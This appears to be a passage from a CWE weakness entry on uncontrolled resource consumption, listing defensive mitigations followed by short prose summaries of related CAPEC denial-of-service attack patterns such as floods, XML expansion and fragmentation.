Limit the amount of resources that are accessible to unprivileged users. Set per-user limits for resources. Allow the system administrator to define these limits. Be careful to avoid CWE-410.

Mitigation
Architecture and Design

Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place, and it will help the administrator to identify who is committing the abuse. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.

Mitigation MIT-5
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation MIT-15
Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Mitigation
Architecture and Design
  • Mitigation of resource exhaustion attacks requires that the target system either:
  • The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
  • The second solution can be difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply requires more resources on the part of the attacker.
  • recognizes the attack and denies that user further access for a given amount of time, typically by using increasing time delays
  • uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Architecture and Design

Ensure that protocols have specific limits of scale placed on them.

Mitigation MIT-38.1
Architecture and Design Implementation
  • If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery.
  • Ensure that all failures in resource allocation place the system into a safe posture.
Mitigation MIT-47
Operation Architecture and Design

Strategy: Resource Limitation

  • Use quotas or other resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems.
  • When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users.
  • Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).
CAPEC-125: Flooding

An adversary consumes the resources of a target by rapidly engaging in a large number of interactions with the target. This type of attack generally exposes a weakness in rate limiting or flow. When successful this attack prevents legitimate users from accessing the service and can cause the target to crash. This attack differs from resource depletion through leaks or allocations in that the latter attacks do not rely on the volume of requests made to the target but instead focus on manipulation of the target's operations. The key factor in a flooding attack is the number of requests the adversary can make in a given period of time. The greater this number, the more likely an attack is to succeed against a given target.

CAPEC-130: Excessive Allocation

An adversary causes the target to allocate excessive resources to servicing the attackers' request, thereby reducing the resources available for legitimate services and degrading or denying services. Usually, this attack focuses on memory allocation, but any finite resource on the target could be the attacked, including bandwidth, processing cycles, or other resources. This attack does not attempt to force this allocation through a large number of requests (that would be Resource Depletion through Flooding) but instead uses one or a small number of requests that are carefully formatted to force the target to allocate excessive resources to service this request(s). Often this attack takes advantage of a bug in the target to cause the target to allocate resources vastly beyond what would be needed for a normal request.

CAPEC-147: XML Ping of the Death

An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.

CAPEC-197: Exponential Data Expansion

An adversary submits data to a target application which contains nested exponential data expansion to produce excessively large output. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. However, this capability can be abused to create excessive demands on a processor's CPU and memory. A small number of nested expansions can result in an exponential growth in demands on memory.

CAPEC-229: Serialized Data Parameter Blowup

This attack exploits certain serialized data parsers (e.g., XML, YAML, etc.) which manage data in an inefficient manner. The attacker crafts an serialized data file with multiple configuration parameters in the same dataset. In a vulnerable parser, this results in a denial of service condition where CPU resources are exhausted because of the parsing algorithm. The weakness being exploited is tied to parser implementation and not language specific.

CAPEC-230: Serialized Data with Nested Payloads

Applications often need to transform data in and out of a data format (e.g., XML and YAML) by using a parser. It may be possible for an adversary to inject data that may have an adverse effect on the parser when it is being processed. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. By nesting these structures, causing the data to be repeatedly substituted, an adversary can cause the parser to consume more resources while processing, causing excessive memory consumption and CPU utilization.

CAPEC-231: Oversized Serialized Data Payloads

An adversary injects oversized serialized data payloads into a parser during data processing to produce adverse effects upon the parser such as exhausting system resources and arbitrary code execution.

CAPEC-469: HTTP DoS

An attacker performs flooding at the HTTP level to bring down only a particular web application rather than anything listening on a TCP/IP connection. This denial of service attack requires substantially fewer packets to be sent which makes DoS harder to detect. This is an equivalent of SYN flood in HTTP. The idea is to keep the HTTP session alive indefinitely and then repeat that hundreds of times. This attack targets resource depletion weaknesses in web server software. The web server will wait to attacker's responses on the initiated HTTP sessions while the connection threads are being exhausted.

CAPEC-482: TCP Flood

An adversary may execute a flooding attack using the TCP protocol with the intent to deny legitimate users access to a service. These attacks exploit the weakness within the TCP protocol where there is some state information for the connection the server needs to maintain. This often involves the use of TCP SYN messages.

CAPEC-486: UDP Flood

An adversary may execute a flooding attack using the UDP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. Additionally, firewalls often open a port for each UDP connection destined for a service with an open UDP port, meaning the firewalls in essence save the connection state thus the high packet nature of a UDP flood can also overwhelm resources allocated to the firewall. UDP attacks can also target services like DNS or VoIP which utilize these protocols. Additionally, due to the session-less nature of the UDP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.

CAPEC-487: ICMP Flood

An adversary may execute a flooding attack using the ICMP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. A typical attack involves a victim server receiving ICMP packets at a high rate from a wide range of source addresses. Additionally, due to the session-less nature of the ICMP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.

CAPEC-488: HTTP Flood

An adversary may execute a flooding attack using the HTTP protocol with the intent to deny legitimate users access to a service by consuming resources at the application layer such as web services and their infrastructure. These attacks use legitimate session-based HTTP GET requests designed to consume large amounts of a server's resources. Since these are legitimate sessions this attack is very difficult to detect.

CAPEC-489: SSL Flood

An adversary may execute a flooding attack using the SSL protocol with the intent to deny legitimate users access to a service by consuming all the available resources on the server side. These attacks take advantage of the asymmetric relationship between the processing power used by the client and the processing power used by the server to create a secure connection. In this manner the attacker can make a large number of HTTPS requests on a low provisioned machine to tie up a disproportionately large number of resources on the server. The clients then continue to keep renegotiating the SSL connection. When multiplied by a large number of attacking machines, this attack can result in a crash or loss of service to legitimate users.

CAPEC-490: Amplification

An adversary may execute an amplification where the size of a response is far greater than that of the request that generates it. The goal of this attack is to use a relatively few resources to create a large amount of traffic against a target server. To execute this attack, an adversary send a request to a 3rd party service, spoofing the source address to be that of the target server. The larger response that is generated by the 3rd party service is then sent to the target server. By sending a large number of initial requests, the adversary can generate a tremendous amount of traffic directed at the target. The greater the discrepancy in size between the initial request and the final payload delivered to the target increased the effectiveness of this attack.

CAPEC-491: Quadratic Data Expansion

An adversary exploits macro-like substitution to cause a denial of service situation due to excessive memory being allocated to fully expand the data. The result of this denial of service could cause the application to freeze or crash. This involves defining a very large entity and using it multiple times in a single entity substitution. CAPEC-197 is a similar attack pattern, but it is easier to discover and defend against. This attack pattern does not perform multi-level substitution and therefore does not obviously appear to consume extensive resources.

CAPEC-493: SOAP Array Blowup

An adversary may execute an attack on a web service that uses SOAP messages in communication. By sending a very large SOAP array declaration to the web service, the attacker forces the web service to allocate space for the array elements before they are parsed by the XML parser. The attacker message is typically small in size containing a large array declaration of say 1,000,000 elements and a couple of array elements. This attack targets exhaustion of the memory resources of the web service.

CAPEC-494: TCP Fragmentation

An adversary may execute a TCP Fragmentation attack against a target with the intention of avoiding filtering rules of network controls, by attempting to fragment the TCP packet such that the headers flag field is pushed into the second fragment which typically is not filtered.

CAPEC-495: UDP Fragmentation

An attacker may execute a UDP Fragmentation attack against a target server in an attempt to consume resources such as bandwidth and CPU. IP fragmentation occurs when an IP datagram is larger than the MTU of the route the datagram has to traverse. Typically the attacker will use large UDP packets over 1500 bytes of data which forces fragmentation as ethernet MTU is 1500 bytes. This attack is a variation on a typical UDP flood but it enables more network bandwidth to be consumed with fewer packets. Additionally it has the potential to consume server CPU resources and fill memory buffers associated with the processing and reassembling of fragmented packets.

CAPEC-496: ICMP Fragmentation

An attacker may execute a ICMP Fragmentation attack against a target with the intention of consuming resources or causing a crash. The attacker crafts a large number of identical fragmented IP packets containing a portion of a fragmented ICMP message. The attacker these sends these messages to a target host which causes the host to become non-responsive. Another vector may be sending a fragmented ICMP message to a target host with incorrect sizes in the header which causes the host to hang.

CAPEC-528: XML Flood

An adversary may execute a flooding attack using XML messages with the intent to deny legitimate users access to a web service. These attacks are accomplished by sending a large number of XML based requests and letting the service attempt to parse each one. In many cases this type of an attack will result in a XML Denial of Service (XDoS) due to an application becoming unstable, freezing, or crashing.